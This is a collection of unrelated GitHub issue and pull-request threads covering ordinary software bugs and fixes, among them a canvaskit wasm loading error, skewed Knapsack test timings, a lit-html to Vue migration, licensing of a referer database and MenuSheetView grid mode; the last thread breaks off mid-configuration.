canvaskit.js:168 Uncaught RuntimeError: Aborted(CompileError: WebAssembly.instantiate(): expected magic word 00 61 73 6d, found 3c 21 44 4f @+0). Build with -sASSERTIONS for more info.
    at Na (canvaskit.js:168:75)
    at canvaskit.js:267:428

From other issues posted on github, it sounds like this could be due to a mismatch in the wasm file, but this is a brand new repo and should have the latest wasm file.

Is there any way to verify which version is being loaded by each? The reproducible example calls yarn setup-skia-web from scratch so it can't have an old outdated version.

Hey @wcandillon, I encountered the same error and created a repository to reproduce it. I tried the solution in this commit, but the error persisted.
I have created a new issue and included all the necessary steps to reproduce it.
https://github.com/Shopify/react-native-skia/issues/2426

Simply put, export the components that will use animations with memo


wrong timing recordings

Whenever we run our cukes (roughly 3 minutes to run), we get this (anonymized) output in Travis:
554 scenarios (554 passed)
4545 steps (4545 passed)
2m6.315s

Knapsack report was generated. Preview:
{
  "features/**/*.feature": 1.003159761428833,
  "features/**/*.feature": 1.196033239364624,
  "features/**/recommend.feature": 57018183.49009848,
  "features/**/*.feature": 0.2130286693572998,
  "features/**/*.feature": 0.2160334587097168,
  "features/**/*.feature": 0.45173168182373047,
  "features/**/*.feature": 0.04832601547241211,
  "features/**/*.feature": 1.230623483657837,
  "features/**/*.feature": 0.7682235240936279,
  "features/**/*.feature": 0.10379314422607422,
  "features/**/*.feature": 0.5373373031616211,
  "features/**/*.feature": 2.7034032344818115,
  "features/**/*.feature": 0.32158589363098145,
  "features/**/*.feature": 0.19092035293579102,
  "features/**/*.feature": 0.6193909645080566,
  "features/**/*.feature": 0.5318620204925537,
  "features/**/*.feature": 0.7692575454711914,
  "features/**/*.feature": 0.7230222225189209,
  "features/**/*.feature": 0.495070219039917,
  "features/**/*.feature": 0.4870891571044922,
  "features/**/*.feature": 0.20952224731445312,
  "features/**/*.feature": 0.7473139762878418,
  "features/**/*.feature": 0.47346997261047363,
  "features/**/*.feature": 1.0329043865203857,
  "features/**/*.feature": 1.8328258991241455,
  "features/**/*.feature": 0.8722712993621826,
  "features/**/*.feature": 1.2147345542907715,
  "features/**/*.feature": 0.48812413215637207,
  "features/**/*.feature": 0.42723989486694336,
  "features/**/*.feature": 0.9765002727508545,
  "features/**/*.feature": 0.8365063667297363,
  "features/**/*.feature": 1.4077143669128418,
  "features/**/*.feature": 0.029282331466674805,
  "features/**/*.feature": 0.11276030540466309,
  "features/**/*.feature": 0.5681333541870117,
  "features/**/*.feature": 0.38565659523010254,
  "features/**/*.feature": 1.343261480331421,
  "features/**/*.feature": 0.6901326179504395,
  "features/**/*.feature": 1.1266040802001953,
  "features/**/*.feature": 2.198932647705078,
  "features/**/*.feature": 0.11878585815429688,
  "features/**/*.feature": 0.27373504638671875,
  "features/**/*.feature": 3.770233631134033,
  "features/**/*.feature": 0.2858238220214844,
  "features/**/*.feature": 0.5811190605163574,
  "features/**/*.feature": 0.6995368003845215,
  "features/**/*.feature": 0.6289098262786865,
  "features/**/*.feature": 0.4094107151031494,
  "features/**/*.feature": 0.74979567527771,
  "features/**/email.feature": 5391999.136254549,
  "features/**/*.feature": 0.33169007301330566,
  "features/**/*.feature": 0.2166881561279297,
  "features/**/*.feature": 0.03311800956726074,
  "features/**/*.feature": 0.030640840530395508,
  "features/**/*.feature": 0.17110943794250488,
  "features/**/*.feature": 0.48764514923095703,
  "features/**/*.feature": 0.8722720146179199,
  "features/**/*.feature": 0.555567741394043,
  "features/**/*.feature": 0.9950838088989258,
  "features/**/*.feature": 0.25239014625549316,
  "features/**/*.feature": 0.12649965286254883,
  "features/**/*.feature": 0.1031959056854248,
  "features/**/*.feature": 0.029646635055541992,
  "features/**/*.feature": 0.1288614273071289,
  "features/**/*.feature": 4.771716833114624,
  "features/**/export.feature": 26731273.147525072,
  "features/**/*.feature": 0.10891866683959961,
  "features/**/*.feature": 0.6129484176635742,
  "features/**/*.feature": 0.5339069366455078,
  "features/**/*.feature": 2.2400553226470947,
  "features/**/*.feature": 3.9317946434020996,
  "features/**/*.feature": 1.2024469375610352,
  "features/**/*.feature": 1.5093786716461182,
  "features/**/*.feature": 0.39945054054260254,
  "features/**/*.feature": 0.529149055480957,
  "features/**/*.feature": 0.4336683750152588,
  "features/**/*.feature": 1.2973487377166748,
  "features/**/*.feature": 0.11217498779296875,
  "features/**/*.feature": 1.6423816680908203,
  "features/**/*.feature": 0.3878803253173828,
  "features/**/*.feature": 0.5852077007293701,
  "features/**/*.feature": 1.1968224048614502,
  "features/**/*.feature": 1.0070815086364746,
  "features/**/*.feature": 1.324880599975586,
  "features/**/*.feature": 0.7847650051116943,
  "features/**/*.feature": 0.15419507026672363,
  "features/**/*.feature": 0.1375415325164795,
  "features/**/*.feature": 0.2437891960144043,
  "features/**/*.feature": 0.038895606994628906,
  "features/**/*.feature": 0.07857513427734375,
  "features/**/*.feature": 1.3422677516937256,
  "features/**/*.feature": 0.472412109375,
  "features/**/*.feature": 2.7329916954040527,
  "features/**/*.feature": 0.029615402221679688,
  "features/**/*.feature": 0.7670252323150635,
  "features/**/*.feature": 0.21507048606872559,
  "features/**/search.feature": 7807642.681318045,
  "features/**/*.feature": 3.499208450317383,
  "features/**/*.feature": 0.235215425491333,
  "features/**/*.feature": 0.5279958248138428,
  "features/**/*.feature": 0.21576786041259766,
  "features/**/*.feature": 0.09094381332397461,
  "features/**/*.feature": 0.37752389907836914,
  "features/**/*.feature": 1.363354206085205,
  "features/**/*.feature": 3.0626842975616455,
  "features/**/*.feature": 0.1384115219116211,
  "features/**/*.feature": 7.06137752532959,
  "features/**/*.feature": 1.7372627258300781,
  "features/**/*.feature": 1.0493583679199219,
  "features/**/*.feature": 0.25408387184143066,
  "features/**/*.feature": 4.52888560295105,
  "features/**/*.feature": 0.5256309509277344,
  "features/**/*.feature": 0.2931356430053711,
  "features/**/*.feature": 1.2082080841064453,
  "features/**/*.feature": 0.5562317371368408,
  "features/**/*.feature": 1.2475011348724365,
  "features/**/*.feature": 0.3939666748046875,
  "features/**/*.feature": 0.13701748847961426,
  "features/**/*.feature": 0.28044581413269043,
  "features/**/*.feature": 0.10454559326171875,
  "features/**/*.feature": 7.583114147186279,
  "features/**/*.feature": 3.2411201000213623,
  "features/**/*.feature": 0.423907995223999,
  "features/**/widget.feature": 7807685.043151617
}
Knapsack global time execution for tests: 11h 08m 15s

While some of those features take a while longer, they don't take that much longer, and also the "global time execution" reported by Knapsack is a long way off compared to the real Travis run.

This output is generated only when you set KNAPSACK_GENERATE_REPORT=true.
The KNAPSACK_GENERATE_REPORT variable should be set only when you want to generate report for the first time (or when you want to regenerate report, see https://github.com/ArturT/knapsack#adding-or-removing-tests ) which should be stored in file knapsack_cucumber_report.json and commited into repository.
You want to generate report just once to collect info about all tests. Please run it on single travis machine.
After you commited report into your repository you can update .travis.yml to use knapsack:cucumber rake task, see https://github.com/ArturT/knapsack#info-for-travis-users
When you want to run command bundle exec rake knapsack:cucumber you should not set KNAPSACK_GENERATE_REPORT.

@ArturT I am aware of all the points you raised. Maybe I didn't express my problem clear enough.
I did exactly as described in the README. I first ran the test suite on Travis with KNAPSACK_GENERATE_REPORT=true, this resulted in the above output.
Now, because of the skewed output (extreme high numbers for some feature files and a weird "global time execution" number (11+ hours?!)), the tests aren't distributed evenly, still causing a slower than needed test suite.

Oh, I see. It looks like a few test files have too long time execution:
"features/**/recommend.feature": 57018183.49009848,
"features/**/email.feature": 5391999.136254549,
"features/**/export.feature": 26731273.147525072,
"features/**/export.feature": 26731273.147525072,
"features/**/search.feature": 7807642.681318045,
"features/**/widget.feature": 7807685.043151617

I'm curious how tests look like in those files. For now cucumber adapter covers regular scenario an scenario outlines https://github.com/ArturT/knapsack/blob/master/lib/knapsack/adapters/cucumber_adapter.rb#L7
Probably I missed something and tests are measured in a wrong way. It would be nice if you could share code of the test file with me or if you could try to debug bind_time_tracker and CucumberAdapter.test_path method.

@JeanMertz Let me know how is going. It would be nice if we could somehow figure out what's the reason of such big time execution.

@JeanMertz Hi, did you figure out how to solve the problem? Can I somehow help?

@JeanMertz There is probably another reason of this bug, maybe those specs use Timecop gem? Could you check that? Thanks. https://github.com/ArturT/knapsack/issues/11

I fixed the issue #11 which probably is the reason of the bug you experienced. Please check new gem version. I'm closing this issue.


migrate from lit-html to vue components

Currently hoppscotch extension uses lit-html to write the UI part of it. but we are planning to migrate it to vue. to make it more easier to work with and to follow the general stack used over hoppscotch.

I would like to work on this issue under foss hack.
Can I be assigned for this?
I have a little experience working with vue previously.

Hey @The-x-35
you can work on this. can you write up a brief doc on how you're going to tackle this. you'll also want to look into #301. both of these issues goes hand in hand.

Hi @amk-dev
I saw #301 and here is the brief doc on how will i solve both #300 and #301 .
For #300

Identify the parts of the project using lit-html.
For each lit-html component, Create a corresponding Vue component.
Ensure the functionality remains the same.
Verify that the new Vue components are functioning correctly.

For #301
1st approach: Replace the build and bundling tool Parcel with Vite.
2nd approach: Instead of changing the build script with vite and making it difficult, because I may miss some script or path, I would just create a simple project in vite and recreate all the components of this project in that by copy pasting.
Please guide if I should mend the plan anyway.
Also can you please guide me on how to setup the development environment, I could build the project by following the instructions but couldn't find instructions for the dev environment, would I have to build it each time?

Hey,
you can proceed with your plans. we'll iterate on the output if needed. I would lean towards replacing the parcel bits piece by piece. there are places where we use  parcel specific features, you'll have to figure out the equivalents on vite. if you need any help please feel free to comment here.

Also can you please guide me on how to setup the development environment, I could build the project by following the instructions but couldn't find instructions for the dev environment, would I have to build it each time?

yes. make changes -> reload the extension from the browser will be the workflow.

Hi @amk-dev sir,
I solved this issue. I replaced popup-script.ts with a .vue file and reimplemented all the functionalities and designs exactly in vue. I have tested it and it works same as before.
I wanted to ask you that whether I should raise a Pull Request right now or wait till 26th july and raise the PR during the foss hack event.
About the issue #301 , I am not sure how to proceed with that and what all files to change, if you could guide me a little and assign that issue to me, I would be grateful.


Patching getFieldString() will not return nil as expected.

PostgreSQL stores “Null” as zero sized string so it would return an
empty string before this patch.

This issue has been addressed by #12.


Fix glide_gib_lifetime not respecting 0

Convar glide_gib_lifetime states Lifetime of Glide Gibs, 0 for no despawning. however it doesn't actually respect the value of 0 due to how it's setup on initialize, this simple commit fixes it.

0 is checked here https://github.com/StyledStrike/gmod-glide/blob/179658593e2c6f5630e99cf9c0bbee90da5e9580/lua/entities/glide_gib.lua#L115

0 is checked here
https://github.com/StyledStrike/gmod-glide/blob/179658593e2c6f5630e99cf9c0bbee90da5e9580/lua/entities/glide_gib.lua#L115

I know however it doesn't respect it because on initialize it's adding RealTime(), I tested this locally and setting the convar to 0 will make the corpse/gib instantly disappear.

Yeah you're right, you can probably remove the original self.lifeTime ~= 0 check then.

The check must stay there otherwise it will be removed instantly as 0 will be smaller than RealTime()

I applied a small optimization to it as there was no need for it to check against RealTime() constantly if the convar was set to 0

Looks good to me, thanks


Unable to use GIT as a profile source

Cookbook version
0.2.3
Chef-client version
12.16.42
Platform Details
chef-client running on windows 2012 R2
Scenario:
Using the same node I am able to use the audit cookbook and call compliance profiles hosted on the chef-compliance server but I am getting an error when trying to run the profiles directly from git
Steps to Reproduce:
Same cookbook I am changing enviroment attributes to reference my git repo
{
  "audit": {
    "collector": "chef-server",
    "insecure": false,
    "profiles": [
      {
        "name": "compliance_constitution",
        "git": "https://git.*********.com/***/compliance_constitution.git"
      }
    ]
  }
}

Expected Result:
Should run my profile, I can run the profile successfully using inspec exec and the http://url to the same repo
Actual Result:
chef-client run failes

@username-is-already-taken2 Is git installed on that machine?

No this server doesn't, I'll install it and give it ago.
I did try looking around the code to see how the git intergration works, but with my random clicking of files in the repo I wasn't able to determine that.
I was just thinking I might be able to raise a PR to fail with a better error if git was not found?  Just thinking.
Anyway thanks for your help

@username-is-already-taken2 The git fetcher is implemented here https://github.com/chef/inspec/blob/master/lib/fetchers/git.rb#L149 It should output an appropriate error, but if you do not see it from the very beginning, we need to improve that.


Renders stripe element based on name.

This PR address issue #115.   It will return a stripe.js (only for /v3/) that is able to individually create each Stripe element by name.

Kind of embarrassed that I submitted this in the first place...

Oh no! Please don't be! I haven't had a chance to review this one yet, but if there is a problem you were trying to solve here that could be solved by the library then please feel free to keep this PR open, or open an issue if you are not happy with this PR. I can look into it when I get back from parental leave.
FWIW, I have opened lots of PRs that I felt a little embarrassed about once I had more information. https://github.com/rails/rails/pull/31208 comes to mind, for example. It's part of learning!

Ha!  Thanks for the kind words @composerinteralia!  So two things bothered me here, let me know if you have any thoughts:

Grasping for a way to test this.  The repo has request specs, but would it be too heavy to have a system spec that pulls the JS into a dummy HTML to test the display and interactions.  For example, I have another PR in progress right now that would validate the Stripe element fields.  It is difficult to test with request specs, feels like it needs something a bit heavier.  Would you entertain a system spec in this repo that could test the JS?
I should probably clean up the code a bit :-)


fix(fsautocomplete): changed cmd to executable of newest version

Thanks! Is this change documented upstream somewhere?

Thanks! Is this change documented upstream somewhere?

Actually i don't find useful information about it.
I came across the problem yesterday after updating fsautocomplete from 0.46.x to 0.49.4...
Maybe someone else could confirm it :thinking:


Add test for prep with  loop database

From slack: @apayne97
I'd like to have a protein prep test that includes passing the loop database...should we include the loopdb in the AWS S3 bucket? the full one is 13 Gb but I think John might have already created a shorter one with just the MPRO structures
@jchodera : SpruceTK loop database builder docs:
https://docs.eyesopen.com/applications/spruce/loopdb_builder/loopdb_builder_example.html
You just need to download the OpenEye Applications
https://www.eyesopen.com/customer-software-download
Find the loopdb_builder and run
./loopdb_builder -in /path/to/fragalysis/pdb/files/ -source_name fragalysis -prefix fragalysis-mpro

You can download the fragalysis database, download the OpenEye Applications for Linux, and then use loopdb_builder to build a tiny loop database from the fragalysis database to use in prep. Or even just run it on a single structure

Done in #272


Cost Over Time: "ValueError: Out of range float values are not JSON compliant"

Probably related to https://stackoverflow.com/questions/38821132/bokeh-valueerror-out-of-range-float-values-are-not-json-compliant, proposed solution: check for nan-values in cot-plot.

Fails only sometimes, add rng/OrderedDict to make debugging possible

While it's not clear why this was non-deterministic (maybe some subroutine in HpBandSter), the issue is fixed by filtering out Nones and NaNs in new racing-method of get_trajectory... fixed by #242


Do not work when the sky turns black

When the game reach 700 points the colors of the game change: sky turns black (#000000) and objects turn grey (#ACACAC). I've read the GameManipulator.js code and it clearly does not handle that case and the game will be over right after that. How can you manage to get over 2k points with that problem not fixed yet?

The code was written in 2015, and night mode appeared in 2016.


Remove preview tags from Cmdlets examples for GA release

We are releasing the following cmdlets in the next GA, therefore we are removing preview tags from their corresponding examples files.
Version 4.1.0-GA (The project - Microsoft.Teams.PowerShell.Module contains these changes so far for this release)

Releases [Get|New|Set|Remove]-CsTeamsShiftsConnectionInstance Cmdlets
Releases [Get|New|Remove]-CsTeamsShiftsConnectionTeamMap Cmdlets
Releases Get-CsTeamsShiftsConnectionWfm[User|Team] Cmdlets
Releases Get-CsTeamsShiftsConnectionConnector, Get-CsTeamsShiftsConnectionSyncResult, New-CsTeamsShiftsConnectionBatchTeamMap, Remove-CsTeamsShiftsScheduleRecord, Test-CsTeamsShiftsConnectionValidate, Get-CsTeamsShiftsConnectionOperation & Get-CsTeamsShiftsConnectionErrorReport Cmdlets.

Note: Please only review this PR. we will merge this PR only on the same date of GA release. (29th March 2022)

Docs Build status updates of commit 950b375:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionConnector.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionErrorReport.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionOperation.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionSyncResult.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionWfmTeam.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionWfmUser.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/New-CsTeamsShiftsConnectionBatchTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/New-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/New-CsTeamsShiftsConnectionTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Remove-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Remove-CsTeamsShiftsConnectionTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Remove-CsTeamsShiftsScheduleRecord.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Set-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Test-CsTeamsShiftsConnectionValidate.md
:white_check_mark:Succeeded
View (teams-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Docs Build status updates of commit c33af76:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionConnector.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionErrorReport.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionOperation.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionSyncResult.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionWfmTeam.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionWfmUser.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/New-CsTeamsShiftsConnectionBatchTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/New-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/New-CsTeamsShiftsConnectionTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Remove-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Remove-CsTeamsShiftsConnectionTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Remove-CsTeamsShiftsScheduleRecord.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Set-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Test-CsTeamsShiftsConnectionValidate.md
:white_check_mark:Succeeded
View (teams-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

We can merge this PR if everything looks good!!

@tiburd Please merge this PR. Thanks

Please merge this PR since we are releasing these cmdlets for GA by today!!

Docs Build status updates of commit aca8bf8:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionConnector.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionErrorReport.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionOperation.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionSyncResult.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionWfmTeam.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Get-CsTeamsShiftsConnectionWfmUser.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/New-CsTeamsShiftsConnectionBatchTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/New-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/New-CsTeamsShiftsConnectionTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Remove-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Remove-CsTeamsShiftsConnectionTeamMap.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Remove-CsTeamsShiftsScheduleRecord.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Set-CsTeamsShiftsConnectionInstance.md
:white_check_mark:Succeeded
View (teams-ps)

teams/teams-ps/teams/Test-CsTeamsShiftsConnectionValidate.md
:white_check_mark:Succeeded
View (teams-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


bug: sending conflicted transactions at the same time seem to crash VNs

Happens on a tari_swarm network.
For example sending this transactions 2 times:
async function initFaucet(provider: TariUniverseProvider, initSupply: string, symbol: string) {
  const req: SubmitTransactionRequest = {
    account_id: 1,
    instructions: [
      {
        CallFunction: {
          template_address: FAUCET_TEMPLATE_ADDRESS,
          function: "mint_with_symbol",
          args: [initSupply, symbol]
        }
      }
    ],
    input_refs: [],
    required_substates: [],
    is_dry_run: false,
    fee_instructions: [{
      CallMethod: {
        component_address: ACCOUNT_ADDRESS,
        method: "pay_fee",
        args: ["1000"]
      }
    }],
    inputs: [],
    min_epoch: null,
    max_epoch: null
  };
  try {
    const txResponse = await provider.submitTransaction(req);
    return txResponse
  } catch (error) {
    console.error(error)
  }
}

This has been fixed


Could not load path ENOENT: no such file or directory, open 'path'

I'm getting the following error when trying to use vite-plugin-components inside a brand new Vite project:
[vite] Dep optimization failed with error:
Could not load path (imported by node_modules/vite-plugin-components/dist/index.mjs): ENOENT: no such file or directory, open 'path'

My vite.config.ts:
import { UserConfig } from "vite";
import VitePluginComponents from "vite-plugin-components";

const config: UserConfig = {
  plugins: [VitePluginComponents()],
};

export default config;

Update: It seems to only affect dev mode.

I guess you put the vite-plugin-components under the dependencies which should be devDependencies

It's a Xmas miracle, it works !! Thank you @antfu !


"Always show close button in scene tab" option is not saved between sessions

Operating system or device - Godot version:
Ubuntu 16.04, 4c4ab140b4569f2700517a13b20127eb7542b3ec
Issue description (what happened, and what was expected):
In 2.1 beta "Always show close button in scene tab" option is not saved between sessions.
Steps to reproduce:
Link to minimal example project (optional but very welcome):

#6056

Closing seems it looks like this is a duplicate of more wide issue: https://github.com/godotengine/godot/issues/6056


Kmatrix: A library for matrix operations (BLAS/LAPACK based)

Abstraction structure and helper functions for manipulating matrices and performing matrix operarations. Improves on the previous pull request by leveraging BLAS/LAPACK routines for things like matrix multiplication, inverse and determinant calculation.

Could I get some input on this, @attractivechaos , @lh3 ? Dou you think it belongs in here ?


Replace test referers database by a mock

This project has an ASL 2.0 license, which is great. However, one of its key components - referers.yml/json appears to be licensed under GPL 3.0. From https://github.com/snowplow-referer-parser/referer-parser:

referers.yml is based on Piwik's SearchEngines.php and Socials.php, copyright 2012 Matthieu Aubry and available under the GNU General Public License v3.

Don't these two licenses conflict?

As of 4c25ed2cc00f69e643569437934db1e8ebb8ad4e (which will be in the next release), the referers database is no longer contained in the build artifacts - you bring in your own copy at runtime; you can opt to use an alternative to the GPL 3.0-ed data file should you so wish.
For the prevention of any confusion, it's probably worth switching out the referers.yml/json that is included in this repo for test purposes with a minimal homegrown mock that is ASL 2.0 licensed.
Assigning to @BenFradet to consider.

Thanks for the heads up @ispringer :+1:

Good news...
Matomo (formerly Piwik) has moved the referrer definitions to a separate project:
https://github.com/matomo-org/searchengine-and-social-list
and according to the package.json and composer.json files in that project, they are licensed under CCO 1.0, which essentially means public domain!
What do you think of writing a script to convert the Matomo definition files over to the referers.json format and then either using that or using it as a starting point?

Hey @ispringer - you can raise that suggestion in the data file project, happy to respond there - it doesn't impact on this (or any other) individual client library. The data file project is here:
https://github.com/snowplow-referer-parser/referer-parser


Sentinl Plugin for ES 6.7.1

Recently ES 6.7.1 was launched & sentinl only supports till 6.6 afaik, Any idea by when Sentinl for 6.7.1 will be out? Eagerly awaiting this. Thanks

ES 7.0.0 also launched. ^_^

Still awaiting Sentil 6.7.1 :-/ . Any update by when the new version will be out ?

Dear all,  with the launch of Open Distro we feel the needs of the Kibana community are sufficiently served and as such we are focusing Sentinl on the needs of the Siren platform only.
The next expected version on Siren will support 6.7.1 (should be short now) and comes with Sentinl in the form of Siren Alert.
Note that starting 10.2 Siren has a free tier now , (again with alerting among the many other things )
There is also a community (just opened) feel free to ask there also. Http://community.siten.io
Of course PRs here are still welcome

Should be : https://community.siren.io/

Dear all, with the launch of Open Distro we feel the needs of the Kibana community are sufficiently served and as such we are focusing Sentinl on the needs of the Siren platform only.
The next expected version on Siren will support 6.7.1 (should be short now) and comes with Sentinl in the form of Siren Alert.
Note that starting 10.2 Siren has a free tier now , (again with alerting among the many other things )
There is also a community (just opened) feel free to ask there also. Http://community.siten.io
Of course PRs here are still welcome

Hi @jccq - Just to clarify, does this imply that there are going to be no more releases for the Kibana plugin going forward ?

@nirbhayp i wouldn't rule other releases out. They're really just not a priority. We will be reviewing and integrating PRs however and if it all works make releases.

So if I understand well, @siren won’t continue to bring themselves new features, but only manage external PRs ?

Hi @fbaligand , to clarify its not like we are doing this because we dont want the new features to be here.
it is just that we cannot plan regular time to do the porting. Might happen occasionally thought e.g. . No evil.

@jccq - Is there any plan of releasing Sentilnl for 6.7.1 anytime soon ?

So @siren team will now concentrate its work on alerting/reporting firstly on opendistro ?

My 2 cents as original creator of Kaae/Sentinl - I think It's time for the #SENTINL community to step up and for some external contributors to actively join to help us keep this project competitive and fresh. I think we've delivered a pretty good baseline for quite some time against all odds keeping this completely open thanks to Siren sponsorship, next hopefully we'll see some of our largest or most affectionate users come forward with concrete help to keep the project healthy and the releases available for general purpose in parallel to the Siren platform evolution, rather than simply expect or even demand releases as if this was a service - remeber it is not! this was born and remains an open-source community project and we need to find that spirit back - it will pay off greatly, for everyone! Spread the word ;)


Sending attachments with email to helpdesk results in: No plain-text email body available.

Hi there,
The resulting ticket ends up looking like this:

Clicking on either of the resources results in a 404.
Is this an error, or part of some config that needs to be handled on my end? Ideally we'd like users to be able to add attachments to their email/tickets.

Do other file attachments work for you?
What's your media path set to? Do the above files appear in there?
Is it only files attached via email? ie if you edit an issue and attach a file... What shows up then?

I'm not actually clear on whether this behaviour was triggered by our design for handling submissions with no plain-text part, or if it was caused by one the several bugs that were just fixed by PR #463. Because of that uncertainty, I'm not going to close this ticket yet so that if the cause was a design decision we might still get feedback as to that effect.
There has previously been at least one disagreement with our choice for the approach that could trigger this without there being a bug involved, so we're open to considering alternative options if indeed the problem does persist. Thanks for the report in either case! 😄


MenuSheetView is not working in GRID mode

Hello! MenuSheetView isn't showing the icons in grid mode. My code

MenuSheetView menuSheetView =
                new MenuSheetView(getActivity(), MenuSheetView.MenuType.LIST, "Create...", new MenuSheetView.OnMenuItemClickListener() {
                    @Override
                    public boolean onMenuItemClick(MenuItem item) {
                        Toast.makeText(getActivity(), item.getTitle(), Toast.LENGTH_SHORT).show();
                        if (bottomSheetLayout.isSheetShowing()) {
                            bottomSheetLayout.dismissSheet();
                        }
                        return true;
                    }
                });
        menuSheetView.inflateMenu(R.menu.menu_sheet_add_plan);
        bottomSheetLayout.showWithSheetView(menuSheetView);

<?xml version="1.0" encoding="utf-8"?>
<menu xmlns:android="http://schemas.android.com/apk/res/android">
<item
    android:id="@+id/plan_type_payment"
    android:icon="@drawable/creditcard"
    android:title="Payment"/>

<item
    android:id="@+id/menu_subheader"
    android:title=""
    >
    <menu>
        <item
            android:id="@+id/plan_type_plane"
            android:icon="@drawable/plane"
            android:title="Plane"/>
        <item
            android:id="@+id/plan_type_train"
            android:icon="@drawable/train"
            android:title="Train"/>
        <item
            android:id="@+id/plan_type_car"
            android:icon="@drawable/car"
            android:title="Car"/>
        <item
            android:id="@+id/plan_type_bus"
            android:icon="@drawable/schooolbus"
            android:title="Bus"/>
        <item
            android:id="@+id/plan_type_taxi"
            android:icon="@drawable/taxi"
            android:title="Taxi"/>
        <item
            android:id="@+id/plan_type_cruise"
            android:icon="@drawable/cruise"
            android:title="Cruise"/>
        <item
            android:id="@+id/plan_type_sailboat"
            android:icon="@drawable/sailboat"
            android:title="Sailboat"/>
        <item
            android:id="@+id/plan_type_bike"
            android:icon="@drawable/bike"
            android:title="Bike"/>
    </menu>
</item>

</menu>

I've found where is the problem. I'm trying to use MenuSheetView in my fragment. And the onAttachedToWindow function is not called and the adapter is not initialized! Can you please help me! Thanks!

GRID mode mode not working also in the sample app.

GRID mode works fine for me, what's not working for you?
Also, that menu xml works fine for me.

Android Studio
android {
compileSdkVersion 22
buildToolsVersion "22.0.1"
defaultConfig {
